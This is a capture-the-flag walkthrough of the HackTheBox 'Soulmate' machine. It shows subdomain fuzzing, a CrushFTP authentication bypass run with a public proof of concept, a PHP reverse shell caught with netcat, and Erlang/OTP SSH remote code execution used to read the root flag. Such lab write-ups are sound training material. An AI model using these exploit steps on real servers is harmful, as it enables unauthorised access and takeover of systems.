Soulmate Writeup (HackTheBox Easy Machine)
Overview
Soulmate is an easy Linux machine from HackTheBox. This box requires mainly precise enumeration and good patience, although it’s beginner-friendly.
We start by discovering subdomain which hosts CrushFTP. We exploit known Auth bypass and get into dashboard. Then we reset some user’s password and upload PHP shell script.
Next, we find this user’s SSH creds in running Escript. And finally, we exploit critical vulnerability in Erlang version of SSH and get RCE on the machine with Root privileges.
Nmap scan
Starting with the Nmap scan.
┌──(root㉿kali)-[/home/kali]
└─# nmap -Pn -A 10.10.11.86 -T5
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-04 18:45 CEST
Nmap scan report for 10.10.11.86
Host is up (0.032s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soulmate.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Device type: general purpose|router
Running: Linux 5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 5.0 - 5.14, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 995/tcp)
HOP RTT ADDRESS
1 32.37 ms 10.10.14.1
2 32.44 ms 10.10.11.86
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.27 secondsThe Nmap scan showed 2 open ports. Port 22 for SSH and port 80 for Nginx HTTP server. Don’t forget to add “soulmate.htb” domain to your “/etc/hosts” file.
Web enumeration
I visited the website, which hosted Tinder-like app named Soulmate. Wappalyzer also found that PHP is being used as a backend language.

One of the best enumeration techniques is fuzzing, both for directories and subdomains. So I ran FFuF to perform subdomain fuzzing, which yielded one subdomain “ftp.soulmate.htb”.
┌──(root㉿kali)-[/home/kali]
└─# ffuf -u 'http://soulmate.htb' -w /usr/share/wordlists/SecLists-master/Discovery/DNS/subdomains-top1million-110000.txt -H "HOST: FUZZ.soulmate.htb" -ac
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://soulmate.htb
:: Wordlist : FUZZ: /usr/share/wordlists/SecLists-master/Discovery/DNS/subdomains-top1million-110000.txt
:: Header : Host: FUZZ.soulmate.htb
:: Follow redirects : false
:: Calibration : true
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
ftp [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 53ms]I added it to my “/etc/hosts” and then visited it, but ended up on a login page. Apparently, there was certain “CrushFTP” software running on the website.

CrushFTP is a proprietary, enterprise-grade file transfer server software that supports multiple platforms and protocols like FTP, SFTP, and FTPS for secure, high-speed data exchange. (Gemini)
Exploiting CrushFTP Auth bypass & getting admin access
I did a small research on CrushFTP and found couple interesting vulnerabilities. You might stagnate here for a while, like I did. Since we don’t have version disclosure, it’s hard to tell which vulnerability we’re supposed to exploit. With that said, there was this critical flaw described in this Huntress article (https://www.huntress.com/blog/crushftp-cve-2025-31161-auth-bypass-and-post-exploitation) that allowed Auth bypass and admin access. This article goes really in-depth, so I recommend reading it for yourself.

TLDR; we can access administrative functions just by passing the “crushadmin” user (default Admin user in CrushFTP) to the Authorization header. CrushFTP mishandles authentication and lets attackers to do privileged stuff like exfiltrate user list, create new users etc.
Also, there was this Github repo (https://github.com/Immersive-Labs-Sec/CVE-2025-31161) with Python PoC exploit.

Our goal here is to create a new user account, which inherits admin permissions from “crushadmin” user. To do that, we can simply download the exploit and run it with appropriate parameters.
┌──(root㉿kali)-[/home/kali]
└─# python3 exploit.py --target_host ftp.soulmate.htb --port 80 --target_user crushadmin --new_user nooff --password nooff123
[+] Preparing Payloads
[-] Warming up the target
[-] Target is up and running
[+] Sending Account Create Request
[!] User created successfully
[+] Exploit Complete you can now login with
[*] Username: nooff
[*] Password: nooff123.And bingo! Now we can go to the CrushFTP web app and log in with our credentials. We can notice the “Admin” button. This will take us to the admin dashboard.

![]() |
| CrushFTP admin dashboard |
Resetting Ben’s password & uploading PHP shell
There were a lot of modules on the dashboard, including the User Manager. With our elevated privileges, we can reset user’s password and see it’s VFS (Virtual File System).
![]() |
| User Manager, can change password and see VFS |
User “ben” caught my attention, because he had website’s root directory added to his VFS. If we were able to login as “ben”, we could upload and trigger a shell script.
Firstly, I changed Ben’s password and logged in.

After that, I successfully logged in with Ben’s account. We can immediately see his VFS. The “Upload” option is ready for us, so get yourself a PHP shell script.

I used Ivan Sincek’s PHP shell script from “revshells.com” and uploaded it.

All left to do now is to setup a Netcat listener and trigger the script by visiting it in the web browser. And it was a success! I got the shell as “www-data”.
┌──(root㉿kali)-[/home/kali]
└─# nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.10.14.119] from (UNKNOWN) [10.10.11.86] 44696
SOCKET: Shell has connected! PID: 2396
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)Discovering Ben’s password in Escript & getting user flag
Upon getting initial access, I discovered a lot of interesting stuff like config and database files. Unfortunately, this is all just a rabbit hole, as I found out later. That’s the case with this box.

The shell is also unstable and you will get kicked out a lot. We have to enumerate fast. That’s why I transferred Linpeas to the machine and automated my enumeration.
I ran Linpeas and studied the output carefully. Looking at running processes and other files, I spotted a suspicious abnormal Erlang script.
![]() |
| active “start.escript” process |
![]() |
| lot of Erlang files |
Examining this new finding, using “find” with “grep”, fate led me to this script:
/usr/local/lib/erlang_login/start.escriptUpon closer inspection, we can find Ben’s SSH credentials in this file.

We can now login via SSH as “ben”. User flag is sitting in his home directory.
ben@soulmate:~$ id
uid=1000(ben) gid=1000(ben) groups=1000(ben)
ben@soulmate:~$ ls -la
total 28
drwxr-x--- 3 ben ben 4096 Sep 2 10:27 .
drwxr-xr-x 3 root root 4096 Sep 2 10:27 ..
lrwxrwxrwx 1 root root 9 Aug 27 09:28 .bash_history -> /dev/null
-rw-r--r-- 1 ben ben 220 Aug 6 10:17 .bash_logout
-rw-r--r-- 1 ben ben 3771 Aug 6 10:17 .bashrc
drwx------ 2 ben ben 4096 Sep 2 10:27 .cache
-rw-r--r-- 1 ben ben 807 Aug 6 10:17 .profile
-rw-r----- 1 root ben 33 Oct 12 07:49 user.txtExploiting Erlang/OTP SSH to get RCE & getting root flag
Initially, I went through my Linux priv esc checklist, but found nothing interesting. But I found a lot of Erlang files, so I gave that a shot and did a small research.
Eventually, I stumbled upon this Medium writeup (https://medium.com/@RosanaFS/erlang-otp-ssh-cve-2025-32433-tryhackme-e410df5f1b53) on certain “Erlang/OTP SSH” TryHackMe room by “RosanaFS”. The author in it describes and explains a critical vulnerability in Erlang SSH, which leads to RCE.
Additionally, there’s this Github repo (https://github.com/platsecurity/CVE-2025-32433/tree/main) with Python PoC script. Maybe our machine is vulnerable too, I thought.

Erlang is a concurrent, functional programming language and runtime system. It was designed specifically for building scalable, fault-tolerant, distributed, real-time systems — especially in telecommunications. (ChatGPT)
Erlang/OTP SSH is the Secure Shell (SSH) application that comes bundled as part of Erlang/OTP (the standard Erlang runtime system and libraries). It provides both client and server implementations of the SSH protocol, allowing Erlang systems to securely communicate over SSH. (ChatGPT)
I downloaded the Python exploit and transferred it to the target machine. Then, I ran it and observed the response.
ben@soulmate:/tmp$ python3 exploit.py
[*] Connecting to SSH server...
[+] Received banner: SSH-2.0-Erlang/5.2.9
[*] Sending SSH_MSG_KEXINIT...
[*] Sending SSH_MSG_CHANNEL_OPEN...
[*] Sending SSH_MSG_CHANNEL_REQUEST (pre-auth)...
[✓] Exploit sent! If the server is vulnerable, it should have written to /lab.txt.
[+] Received response: 000003f40814a6d1cd5c5881238d63856508328f3f050000011e637572766532353531392d7368613235362c637572766532353531392d736861323536406c69627373682e6f72672c63757276653434382d7368613531322c656364682d736861322d6e697374703532312c656364682d736861322d6e697374703338342c656364682d736861322d6e697374703235362c6469666669652d68656c6c6d616e2d67726f75702d65786368616e67652d7368613235362c6469666669652d68656c6c6d616e2d67726f757031362d7368613531322c6469666669652d68656c6c6d616e2d67726f757031382d7368613531322c6469666669652d68656c6c6d616e2d67726f757031342d7368613235362c6578742d696e666f2d732c6b65782d7374726963742d732d763030406f70656e7373682e636f6d000000397373682d656432353531392c65636473612d736861322d6e697374703235362c7273612d736861322d3531322c7273612d736861322d323536000000966165733235362d67636d406f70656e7373682e636f6d2c6165733235362d6374722c6165733139322d6374722c6165733132382d67636d406f70656e7373682e636f6d2c6165733132382d6374722c63686163686132302d706f6c7931333035406f70656e7373682e636f6d2c6165733235362d6362632c6165733139322d6362632c6165733132382d6362632c336465732d636263000000966165733235362d67636d406f70656e7373682e636f6d2c6165733235362d6374722c6165733139322d6374722c6165733132382d67636d406f70656e7373682e636f6d2c6165733132382d6374722c63686163686132302d706f6c7931333035406f70656e7373682e636f6d2c6165733235362d6362632c6165733139322d6362632c6165733132382d6362632c336465732d6362630000007b686d61632d736861322d3531322d65746d406f70656e7373682e636f6d2c686d61632d736861322d3235362d65746d406f70656e7373682e636f6d2c686d61632d736861322d3531322c686d61632d736861322d3235362c686d61632d736861312d65746d406f70656e7373682e636f6d2c686d61632d736861310000007b686d61632d736861322d3531322d65746d406f70656e7373682e636f6d2c686d61632d736861322d3235362d65746d406f70656e7373682e636f6d2c686d61632d736861322d3531322c686d61632d736861322d3235362c686d61632d736861312d65746d406f70656e7373682e636f6d2c686d61632d736861310000001a6e6f6e652c7a6c6962406f70656e7373682e636f6d2c7a6c69620000001a6e6f6e652c7a6c6962406f70656e7373682e636f6d2c7a6c69620000000000000000000000000040bdf10a589e6aebThis PoC is supposed to create a “lab.txt” file containing “pwned”. As we can see below, the machine is vulnerable and the file got created by “root”.

But this was just a harmless PoC. To get some value out of it, I edited the malicious Erlang system command. My version made a copy of the root flag and saved it to “/tmp”.
![]() |
| modified payload in our exploit |
And just like that, I got the root flag.

If we would like to compromise the machine completely, we could print out Root’s SSH private key for example to get persistent access.
And that’s the Soulmate machine done!
Alternative path to Root via Erlang SSH
After completion, I looked over at other writeups as well and found out, that there’s another simpler path to Root. So I’ll briefly show you that one too.
It completely escaped my mind that we can actually connect to the Erlang SSH. If we check listening ports with “netstat”, we can see that port 2222 (Erlang SSH port) is listening.
ben@soulmate:~$ netstat -tlnp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:38841 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:37717 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:9090 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8443 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:2222 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:4369 0.0.0.0:* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 ::1:4369 :::* LISTEN - And we can re-use Ben’s credentials to access it.
ben@soulmate:~$ ssh -p 2222 ben@localhost
ben@localhost's password:
Eshell V15.2.5 (press Ctrl+G to abort, type help(). for help)
(ssh_runner@soulmate)1>There’s the “os“ module active, that can be used to run system commands.
(ssh_runner@soulmate)6> os:cmd("cat /root/root.txt").
"aab99d3XXXXXXXXXXXXXXXXXXXXXXXXX\n"Tbh, this way was a bit simpler. But less cool for sure.
Summary & final thoughts
Soulmate is an easy Linux machine from HackTheBox. This box has several interesting and simple weaknesses, but identifying and exploiting them can take patience. During the initial exploitation phase, you can get lost because there are several CrushFTP vulnerabilities and we can’t easily identify the version (at least to my knowledge; if you know more, leave a comment below). Then, we reset Ben’s password and upload PHP shell. Another issue is the unstable shell access, as there are cleanup scripts running in the background. After discovering an Escript with SSH creds, we get SSH access. We then identify vulnerable Erlang/OTP SSH service, which we exploit and get Root-privileged RCE (or we can simply connect via Erlang SSH).
Overall, I think this machine has some interesting vulnerabilities and cool software (CrushFTP, Erlang). But to be fair, the delivery could be better. Things like unstable shell and little version disclosure can easily confuse and frustrate any beginner. On the other hand, it trains your patience (very important skill). I would still recommend this one to beginners, although there are better options. I still think that any experience is good, and this machine has some cool stuff too.





Comments
Post a Comment